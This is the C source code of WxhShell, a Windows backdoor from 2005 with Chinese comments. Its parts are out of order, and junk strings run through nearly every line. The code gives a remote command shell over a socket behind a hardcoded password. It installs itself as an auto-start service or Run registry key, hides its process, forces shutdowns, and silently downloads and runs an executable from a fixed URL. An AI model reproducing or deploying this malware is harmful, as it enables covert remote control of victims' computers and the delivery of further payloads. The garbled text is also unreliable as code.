    ExitThread(0); Q@R8qc=*  
    } KAZz) 7  
    break; +zvK/Fj2q  
    } 04:Dbt~=?p  
  // 关机 >e%Po,Fg$  
  case 'd': { r%4:,{HF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nYY U  
    if(Boot(SHUTDOWN)) y-YYDEl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2bmppDk  
    else { Uka 4iya  
    closesocket(wsh); 9z#IdY$a  
    ExitThread(0); }V{, kK  
    }  I g`#U~  
    break;  `S|gfJ  
    } Qk= w ,`  
  // 获取shell jp|wc,]!  
  case 's': { 4(NI-|q0  
    CmdShell(wsh); 2B# \683  
    closesocket(wsh); @47TDCr  
    ExitThread(0); h!MT5B)r.  
    break; 1EN5ZN,  
  } #AHIlUH"m  
  // 退出 ^VQiq7 xm  
  case 'x': { eUl[gHP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uvp?HZ\Z  
    CloseIt(wsh); 8^T' a^Wt  
    break; =o {`vv  
    } m~v Ie c  
  // 离开 -v:Y\=[\  
  case 'q': { Z7 @#0;g{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5HB4B <2  
    closesocket(wsh); aPbHrk*/  
    WSACleanup(); 5v]xk?Eb  
    exit(1); I^o^@C  
    break; \%K6T)9  
        } L.5GX 29  
  } *ULXJZ%  
  } ,PB?pp8C}  
m+L:\mvA  
  // 提示信息 /a,q4tD@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y=5hm  
} [wEx jLW  
  } 3cnsJV]  
:r\<DVj  
  return; uJ%ql5XDV  
} V/03m3!q  
35ng_,t $  
// shell模块句柄 $HaM, Oh;i  
int CmdShell(SOCKET sock) , vR4x:W  
{ MT3UJ6~P  
STARTUPINFO si; 5EU3BVu&u  
ZeroMemory(&si,sizeof(si)); <|{=O9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _H-Lt{k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %rf<YZ.\  
PROCESS_INFORMATION ProcessInfo; 3o1j l2n  
char cmdline[]="cmd"; 6(eyUgnb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rtPQ:CaA)?  
  return 0; 9Gy1T3y5"  
} S-im o  
7{p,<Uz<"U  
// 自身启动模式 /m%;wH|6%  
int StartFromService(void) FvRog<3X  
{ DlaA-i]l  
typedef struct um[.r,++  
{ V ] Z{0  
  DWORD ExitStatus; 1%>/%eyn5  
  DWORD PebBaseAddress; .}^m8PP  
  DWORD AffinityMask; d5h:py5  
  DWORD BasePriority; {`{U\w5Af  
  ULONG UniqueProcessId; 1;>J9  
  ULONG InheritedFromUniqueProcessId; ;XANIT V  
}   PROCESS_BASIC_INFORMATION; Qv#]T,  
"zv?qS  
PROCNTQSIP NtQueryInformationProcess; :X+7}!Wlo  
?v6xa Vg:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -_B*~M/vV`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <5=^s%H  
Y\s@'UoVN  
  HANDLE             hProcess; rq>@ 0i  
  PROCESS_BASIC_INFORMATION pbi; wD4Kil=v  
?8pRRzV$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y4+Km*am,W  
  if(NULL == hInst ) return 0; I t",WFE.  
(r.[b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "OkJPu2!W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %R."  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =5J}CPKbZI  
|pA3ZWm  
  if (!NtQueryInformationProcess) return 0; ji5c0WH  
.O@T#0&=_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DYx3 NDX7  
  if(!hProcess) return 0; zW8rC!  
s>ilxLSX]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ogtl UCUD  
V_^p?Fi #  
  CloseHandle(hProcess); #L ffmS  
lG6P+ Z/nf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e-Mei7{%  
if(hProcess==NULL) return 0; 22$M6Qof]n  
gAD,  
HMODULE hMod; vL}e1V:  
char procName[255]; GUSEbIz):  
unsigned long cbNeeded; dD ?ZF6  
sN"<baZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4SlEc|'7@  
vnc- W3N  
  CloseHandle(hProcess); /fv;`?~d*  
~Z-o2+xA  
if(strstr(procName,"services")) return 1; // 以服务启动 05hjC  
nHyqfd<V>  
  return 0; // 注册表启动 _Oc5g5_{  
} bf@H(gCW=  
y rH@:D/  
// 主模块 FLUvFD  
int StartWxhshell(LPSTR lpCmdLine) S\io5|P  
{ ;8m)a  
  SOCKET wsl; [0MNq]gxf  
BOOL val=TRUE; %[B^b)2  
  int port=0; bY&!d.  
  struct sockaddr_in door; 6--t6>5  
?&Ug"$v  
  if(wscfg.ws_autoins) Install(); Nux  
Gn&=<q :H  
port=atoi(lpCmdLine); pT|l"q@  
duQ ,6  
if(port<=0) port=wscfg.ws_port; i/|}#yw8A  
G9_7jX*  
  WSADATA data; 3LRBH+Tt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?mwa6]  
hg7^#f95u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /#}o19(-d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {^":^N)  
  door.sin_family = AF_INET; 45Hbg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y=!7PB_\|  
  door.sin_port = htons(port); U'@#n2p:k  
{ k>T*/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { swKqsN.  
closesocket(wsl); LIE5of  
return 1; AcP d(Pc  
} #(7^V y&  
l#IN)">1  
  if(listen(wsl,2) == INVALID_SOCKET) { Tm\a%Z`U>  
closesocket(wsl); ^ 6b27_=  
return 1; "% l``  
} S-5O$EnD  
  Wxhshell(wsl); # Rhtaq9  
  WSACleanup(); FQBE1h@k0u  
smKp3_r  
return 0; ,n{R,]y\  
n|fKwWB\  
} J\Db8O-/x4  
RiG]-K:  
// 以NT服务方式启动 ra;:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &'k:?@J[  
{ LNcoTdv}k  
DWORD   status = 0; & LhQr-g  
  DWORD   specificError = 0xfffffff; 8.HJoos  
v]\T&w%9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {ub'   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )>tT ""yEl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xwu b-yz  
  serviceStatus.dwWin32ExitCode     = 0; +w?-#M#  
  serviceStatus.dwServiceSpecificExitCode = 0; &PPYxg<  
  serviceStatus.dwCheckPoint       = 0; <Uu[nUJ  
  serviceStatus.dwWaitHint       = 0; <m/XGFc  
2 ?F?C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fu iTy72  
  if (hServiceStatusHandle==0) return; }{}?mQ  
O03F@v  
status = GetLastError(); >}B53.;.k  
  if (status!=NO_ERROR) +&r=XJ5:`p  
{ @^%YOorr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9"?;H%.  
    serviceStatus.dwCheckPoint       = 0; $9h^tP'CV  
    serviceStatus.dwWaitHint       = 0; !yvw5As%  
    serviceStatus.dwWin32ExitCode     = status; @"B{k%+  
    serviceStatus.dwServiceSpecificExitCode = specificError; b/_u\R ]-'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wo  Z@  
    return; !D!"ftOm  
  } Y4+iNdd  
OepQ Z|2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cd`P'GDF  
  serviceStatus.dwCheckPoint       = 0; {mY=LaS<  
  serviceStatus.dwWaitHint       = 0; Bjh8uW G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8@ S@^C*F  
} %XQJ!sC`  
~R\ $Z  
// 处理NT服务事件,比如:启动、停止 : )y3 &I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _C=01 %/  
{ 3vkzN  
switch(fdwControl) gH.$B'  
{ Ce~Pms]  
case SERVICE_CONTROL_STOP: If8Lt}-  
  serviceStatus.dwWin32ExitCode = 0; (:^YfG~e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S_ra8HY8  
  serviceStatus.dwCheckPoint   = 0; -v:3#9uX)  
  serviceStatus.dwWaitHint     = 0; EN__C$  
  { lR/Uboyy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !hE F.S  
  } ~Lq`a@]A  
  return; ]z2x`P^oI  
case SERVICE_CONTROL_PAUSE: );?tGX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3BAQ2S}  
  break; *\_>=sS x;  
case SERVICE_CONTROL_CONTINUE: IR?nH`V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RB6TM  
  break; 8bf@<VTO_  
case SERVICE_CONTROL_INTERROGATE: }S4+1 U3  
  break; ;&!Q N#_  
}; Bat@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DH bS=Iih  
} aiZZz1C   
'Hgk$Im+  
// 标准应用程序主函数  ~fs} J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >[~`rOU*|Y  
{ GnC s_[*&r  
+U>Y.YP  
// 获取操作系统版本 9ph>4u(R  
OsIsNt=GetOsVer(); 9Z"WV5o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s){VU2.ra  
n]nJ$u1u  
  // 从命令行安装 -=n!k^?lK  
  if(strpbrk(lpCmdLine,"iI")) Install(); b2RW=m-  
mE'HRv  
  // 下载执行文件 ,s 6lB0  
if(wscfg.ws_downexe) { LoSrXK~0~J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AG#Mj(az!  
  WinExec(wscfg.ws_filenam,SW_HIDE); - ~*kAh  
} N/1xc1$SB  
`uqe[u;`6  
if(!OsIsNt) { &x4*YM h  
// 如果时win9x,隐藏进程并且设置为注册表启动 X_)I"`  
HideProc(); r1z+yx  
StartWxhshell(lpCmdLine); b?2 \j}  
} JUJrtK S  
else DcC|oU[  
  if(StartFromService()) F>?~4y,b7  
  // 以服务方式启动 7\H_9o0$  
  StartServiceCtrlDispatcher(DispatchTable); dKevhm)R"  
else y'<5P~W!a  
  // 普通方式启动 <-gGm=R_$  
  StartWxhshell(lpCmdLine); 7f*b5$+r  
9`CJhu  
return 0; + (`.pa z@  
} A'D2uV  
Tt_QAIl  
|Qpd<L  
-I z,vd  
=========================================== ]; eJ'#  
rKTc 6h:)  
'$4&q629d  
'oM=ZU8wo  
kLXa1^Lq  
67||wh.BU  
" [Kb)Q{=)  
DweF8c  
#include <stdio.h> 76u\# {5  
#include <string.h> x4`|[  
#include <windows.h> O7J V{'?  
#include <winsock2.h> c'Q.2^w^  
#include <winsvc.h> yb\!4ml  
#include <urlmon.h> gRw? <U^  
;0Ih:YY6  
#pragma comment (lib, "Ws2_32.lib") $_|jI ^  
#pragma comment (lib, "urlmon.lib") a,:Nlr3  
~F;>4q   
#define MAX_USER   100 // 最大客户端连接数 #?Ob->v  
#define BUF_SOCK   200 // sock buffer vCtnjWGX}/  
#define KEY_BUFF   255 // 输入 buffer J6nH|s8  
(%fSJCBl[P  
#define REBOOT     0   // 重启 I@1VX5  
#define SHUTDOWN   1   // 关机 "msPH<D  
Nig)!4CG  
#define DEF_PORT   5000 // 监听端口 jz I,B  
@Dd(  
#define REG_LEN     16   // 注册表键长度 JaN53,&<  
#define SVC_LEN     80   // NT服务名长度 )-i(%;,*e  
9 vNz yh\  
// 从dll定义API 99[v/L>F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ciN*gwI)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .]; `  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i}C%`1+(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b^<7@tY  
hgdr\ F  
// wxhshell配置信息 .0dx@Sbv  
struct WSCFG { Ft@ZK!'@  
  int ws_port;         // 监听端口 rWp+kV[Ec>  
  char ws_passstr[REG_LEN]; // 口令 \obM}caT  
  int ws_autoins;       // 安装标记, 1=yes 0=no I.1(qbPkF+  
  char ws_regname[REG_LEN]; // 注册表键名 Pj7MR/AH  
  char ws_svcname[REG_LEN]; // 服务名 )!sjXiC!h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &Z+.FTo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?cD_\~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "gXvnl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v2 >Dn=V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WAVEwA`r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wR9gx-bE 4  
(2/i1)Cq  
}; zzX9Q:  
eGI&4JgJ.  
// default Wxhshell configuration ::Pf\Lb>  
struct WSCFG wscfg={DEF_PORT, -M-y*P)  
    "xuhuanlingzhe", 1tH#QZIT  
    1, ]iaQD _'\  
    "Wxhshell", K$-|7tJon  
    "Wxhshell", QaAMiCZFR  
            "WxhShell Service", '>% c@C[  
    "Wrsky Windows CmdShell Service", ?M04 cvm  
    "Please Input Your Password: ", w)Y}hlcq  
  1, <##aD3)  
  "http://www.wrsky.com/wxhshell.exe", R-\"^BV#Z  
  "Wxhshell.exe" > V@,K z1  
    }; /O$)m[  
t\lx*_lr  
// 消息定义模块 *G,r:Bnb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QtfLJ5vi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q8bn|#`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [Mlmn$it  
char *msg_ws_ext="\n\rExit."; CdiL{zH\3  
char *msg_ws_end="\n\rQuit."; (9!kKMQW'  
char *msg_ws_boot="\n\rReboot..."; \V9);KAOj  
char *msg_ws_poff="\n\rShutdown..."; &sS]h|2Z5  
char *msg_ws_down="\n\rSave to "; Ky'\t7p u  
GC~N$!*  
char *msg_ws_err="\n\rErr!"; A|P `\_  
char *msg_ws_ok="\n\rOK!"; "QV1G'  
G I#TMFz3  
char ExeFile[MAX_PATH]; $ dHD  
int nUser = 0; Z/I`XPmk  
HANDLE handles[MAX_USER]; Q9 RCN<!  
int OsIsNt; XO J@-^BX  
.y~~[QF}8  
SERVICE_STATUS       serviceStatus; g?!;04  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7:&a,nU  
c# WIB 4  
// 函数声明 8\8%FSrc  
int Install(void); Uc|MfxsL  
int Uninstall(void); |c!lZo/  
int DownloadFile(char *sURL, SOCKET wsh); ,5Tw5<S  
int Boot(int flag); \fD[Ej  
void HideProc(void); 1V1T1  
int GetOsVer(void); .(zZTyZr  
int Wxhshell(SOCKET wsl); aV?r%'~Z  
void TalkWithClient(void *cs); vghn+P8  
int CmdShell(SOCKET sock); c9;oB|8|  
int StartFromService(void); fT_swh IO  
int StartWxhshell(LPSTR lpCmdLine); cOEzS  
(Zu V5|N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V3}$vKQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @5(HRd  
rzgzX  
// 数据结构和表定义 TVFxEV7Fx  
SERVICE_TABLE_ENTRY DispatchTable[] = {v}jV{'^um  
{ ?GKm_b]JC  
{wscfg.ws_svcname, NTServiceMain}, d@t3C8  
{NULL, NULL} hk1jxnQ h  
}; x+5y287#  
)d-{#  
// 自我安装 1_.#'U>  
int Install(void) E|Z7art  
{ $U/_8^6B0  
  char svExeFile[MAX_PATH]; Q CB~x2C  
  HKEY key; 3$ 1 z  
  strcpy(svExeFile,ExeFile); }D eW2Jp  
Y_<(~eN`  
// 如果是win9x系统,修改注册表设为自启动 r#[YBaCZJ  
if(!OsIsNt) { ^@..\X9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I3V>VLv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >xE{& ):  
  RegCloseKey(key); in6iJ*E@'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o(@F37r{?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )ozN{&B6  
  RegCloseKey(key); ^~dvA)bH  
  return 0; XL7jUi_4:L  
    } RycO8z*p  
  } 'u2Qq"d+  
} -m~[z  
else { M^^u{);q  
LvNk:99:<  
// 如果是NT以上系统,安装为系统服务 +>5 "fs$Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XDJQO /qN  
if (schSCManager!=0) S&P5##.u`  
{ <!vAqqljt  
  SC_HANDLE schService = CreateService ]X)EO49  
  ( ~U~4QQV  
  schSCManager, +6{KrREX)  
  wscfg.ws_svcname, 'm=9&?0S  
  wscfg.ws_svcdisp, ^ffh  
  SERVICE_ALL_ACCESS, FB PT@`~v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &~Q ?k  
  SERVICE_AUTO_START, F#^.L|d4  
  SERVICE_ERROR_NORMAL, VMW ?[j  
  svExeFile, T`=N^Ca1!`  
  NULL, U<NpDjc"  
  NULL, pz^"~0o5  
  NULL, V@K}'f~  
  NULL, ls6ywLP{  
  NULL P"u*bqk  
  ); q6{%vd  
  if (schService!=0) +Z[%+x92  
  { l(zkMR$b8  
  CloseServiceHandle(schService); s/Wg^(&M  
  CloseServiceHandle(schSCManager); k>n^QHM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,Ql3RO,  
  strcat(svExeFile,wscfg.ws_svcname); );;UNO21+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9#6ilF:F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mI in'M  
  RegCloseKey(key); jt2 m-*aP  
  return 0; BoIe<{X(9  
    } Dl/UZ@8pl  
  } lLtC9:  
  CloseServiceHandle(schSCManager); j&m<=-q  
} qg6Hk:^r  
} g)&-S3\  
Yjk A^e  
return 1; ,-DE;l^Q=  
} 9LJ/m\bi  
h/(9AO}t  
// 自我卸载 hY'"^?OP  
int Uninstall(void) ZVIBmx  
{ HNjkRl)QR  
  HKEY key; W {dx\+  
6nGDoW#  
if(!OsIsNt) { b<.+WkO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "TjR]jnV(  
  RegDeleteValue(key,wscfg.ws_regname); R?|_` @@A  
  RegCloseKey(key); 9y]$c1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JG}U,{7(  
  RegDeleteValue(key,wscfg.ws_regname); }>frK#S  
  RegCloseKey(key); gi;V~>kh  
  return 0; )cs y^-qw  
  } y'yaCf  
} sCRBKCR?  
} J;T_ 9  
else { :f/ p5 c  
053W2Si   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6/#= dv  
if (schSCManager!=0) 4qm5`o\hb  
{ Y?%6af+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {8B\-LUR  
  if (schService!=0) !^"hYp`  
  { b$Uwj<v  
  if(DeleteService(schService)!=0) { 0U/:Tpyr  
  CloseServiceHandle(schService); 1;:2=8  
  CloseServiceHandle(schSCManager); P^h2w%6'  
  return 0; nM0nQ{6  
  } hU=J^Gi0  
  CloseServiceHandle(schService); W>DpDrO4ml  
  } }=GyBnXu  
  CloseServiceHandle(schSCManager); W X\%FJ  
} GO?-z0V  
} dl":?D4H  
G0(c@FBK  
return 1; vy"Lsr3  
} 9lD,aOb  
I8Zp#'|U  
// 从指定url下载文件 =AKW(v  
int DownloadFile(char *sURL, SOCKET wsh) )$]+R?v  
{ Zi[)(agAT  
  HRESULT hr; >6kWmXK[  
char seps[]= "/"; VUnEI oKM  
char *token; k]>k1Mi=  
char *file; s?6 7@\  
char myURL[MAX_PATH]; Zgg7pL)#c  
char myFILE[MAX_PATH]; {!/y@/NK2  
~.@fk}'R  
strcpy(myURL,sURL); ~<Lf@yu-{  
  token=strtok(myURL,seps); iZSSd{jO  
  while(token!=NULL) PCLSY8N  
  { rvmI 8  
    file=token; %&] }P;&  
  token=strtok(NULL,seps); :>;ps R  
  } KqSa"76R  
3=<iGX"z  
GetCurrentDirectory(MAX_PATH,myFILE); nEp'l.T  
strcat(myFILE, "\\"); c df ll+  
strcat(myFILE, file); pS<b|wu?f  
  send(wsh,myFILE,strlen(myFILE),0); v|/3Mi9mz  
send(wsh,"...",3,0); K?;p:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jo(Q`oxm!>  
  if(hr==S_OK) \Zh)oUHd  
return 0; j0%0yb{-^  
else D}061~zb$  
return 1; V%0.%/<#5  
"{B ek<  
} 0%qUTGj  
23f[i<4e  
// 系统电源模块 wr$}AX  
int Boot(int flag) {4QOUqAu  
{ `;_tt_  
  HANDLE hToken; lQsQRp  
  TOKEN_PRIVILEGES tkp; eb/V}%  
*QG3Jz  
  if(OsIsNt) { a`-hLX)~Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %)/f; T6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I1myuZ  
    tkp.PrivilegeCount = 1; +_g T|vlU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6oP{P_Pxi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lz)"zV  
if(flag==REBOOT) { #8z,'~\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |g7h#F~  
  return 0; bNROXiX  
} AIm$in`P  
else { /SXz_ e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BY0|exW  
  return 0; |%}s$*s  
} P*PL6UQ  
  } z/YMl3$l~  
  else { N4To#Q1w  
if(flag==REBOOT) { nF'xV44"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _=L;`~=C9e  
  return 0; &Bn; Vi  
} A(n=kx  
else { &{ {DS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &'7"i~pC  
  return 0; >'6GcnEb4.  
} 5b#6 Y  
} j#e.rNG  
{% _j~  
return 1; M_1Tx  
} 4VNb`!e  
cU*lB!  
// win9x进程隐藏模块 vS YKe  
void HideProc(void) #tZf>zrs  
{ nuQ6X5>.=  
.gN$N=7<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >J}n@MZ  
  if ( hKernel != NULL ) S7kT3zB  
  { z"K( bw6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P!y`$Ky&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~B!O~nvdQ  
    FreeLibrary(hKernel);  |.C    
  } A,gx5!J  
^QAiySR`0  
return; D4q >R;  
} <{/;1Dru  
g6g$nY@Jm  
// 获取操作系统版本 kV ,G,wo  
int GetOsVer(void) M{xVkXc>  
{ Q)S>VDLA  
  OSVERSIONINFO winfo; V-_/(xt*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +%wWSZ<#  
  GetVersionEx(&winfo); ^%8qKC`Tt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ck+b/.gw`  
  return 1; =#(0)p $EC  
  else `\jTpDV_W  
  return 0; XocsSs  
} z Bt`L,^  
\V^*44+ <!  
// 客户端句柄模块 i u1KRuaF[  
int Wxhshell(SOCKET wsl) T^$g N|  
{ xP/OsaxN  
  SOCKET wsh; !&`}]qQZ  
  struct sockaddr_in client; #%^\\|'z  
  DWORD myID; k(EMp1[:nN  
1n'$Ji7  
  while(nUser<MAX_USER) 4TUtY:  
{ SFn 3$ rh  
  int nSize=sizeof(client); tqf&N0*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $J"%I$%X=  
  if(wsh==INVALID_SOCKET) return 1; X0WNpt&h  
URK!W?3c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dk_,YU'z  
if(handles[nUser]==0) +2DE/wE]e+  
  closesocket(wsh); fw' r.  
else cJ(BiL-uF  
  nUser++; @P:R~m2  
  } QqtC`H\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A Jyq>0p  
EZ"bW  
  return 0; J/'M N  
} k6Ihc?HL  
AkrTfi4hC  
// 关闭 socket B0oxCc/'sZ  
void CloseIt(SOCKET wsh) s`hav  
{ e?V,fzg  
closesocket(wsh); ljPq2v ]  
nUser--; {-@~Q.&}v  
ExitThread(0); _Vjpw,  
} AnNP Ti  
 I>A^I  
// 客户端请求句柄 DVI7]+=nV  
void TalkWithClient(void *cs) -(*nSD9  
{ }^"0T-ua  
~,ynJ]_aJB  
  SOCKET wsh=(SOCKET)cs; rA,CQypo  
  char pwd[SVC_LEN]; bV@7mmz:X+  
  char cmd[KEY_BUFF]; D(Qa>B"1  
char chr[1]; {j?7d; 'j  
int i,j; 2H[ ; v+  
v ~"Ef_`  
  while (nUser < MAX_USER) { u4YM^* S.  
o{V#f_o  
if(wscfg.ws_passstr) { t5paY w-b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XaW4C-D&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R2w`Y5#`  
  //ZeroMemory(pwd,KEY_BUFF); j 1(T )T  
      i=0; dK.R[ aQ  
  while(i<SVC_LEN) { 7JI:=yY!>:  
B7 HQR{t  
  // 设置超时 I"1CgKYK^+  
  fd_set FdRead; -Q$b7*"z(  
  struct timeval TimeOut; KmQ^?Ad- C  
  FD_ZERO(&FdRead); xP{-19s1]  
  FD_SET(wsh,&FdRead); [Ct=F|  
  TimeOut.tv_sec=8; IIxJqGN:  
  TimeOut.tv_usec=0; )lh8 k {  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Seda}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R)+t]}  
'T7x@a`b)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]#zZWg zv  
  pwd=chr[0]; Vl<9=f7[  
  if(chr[0]==0xd || chr[0]==0xa) { :y# T9R9  
  pwd=0; 0(gq; H5x'  
  break; ,r=re!QI7  
  } LkBZlh_  
  i++; &>(gt<C$  
    } =g~W%})  
O*G1 QX  
  // 如果是非法用户,关闭 socket IU#x[P!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L-\ =J  
} *N F$1  
-7%X]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Es.nHN^]%K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c@R; /m:R  
uZIJoT  
while(1) { z/7$NxJH  
[i7YVwG4  
  ZeroMemory(cmd,KEY_BUFF); |QMA@Mx  
.Evy_o\^  
      // 自动支持客户端 telnet标准   pu4,0bw  
  j=0; /L v1$~  
  while(j<KEY_BUFF) { KX3KM!*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VWi2(@R^  
  cmd[j]=chr[0]; 2f{T6=SK  
  if(chr[0]==0xa || chr[0]==0xd) { @{d\j]Nw  
  cmd[j]=0; #NNewzC<*  
  break; cozXb$bBY  
  } WeMAe w/d  
  j++; cCi I{  
    } mfom=-q3k  
t6lE#<xZV;  
  // 下载文件 riCV&0"n  
  if(strstr(cmd,"http://")) { A\QJLWBv^$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5`-UMz<]  
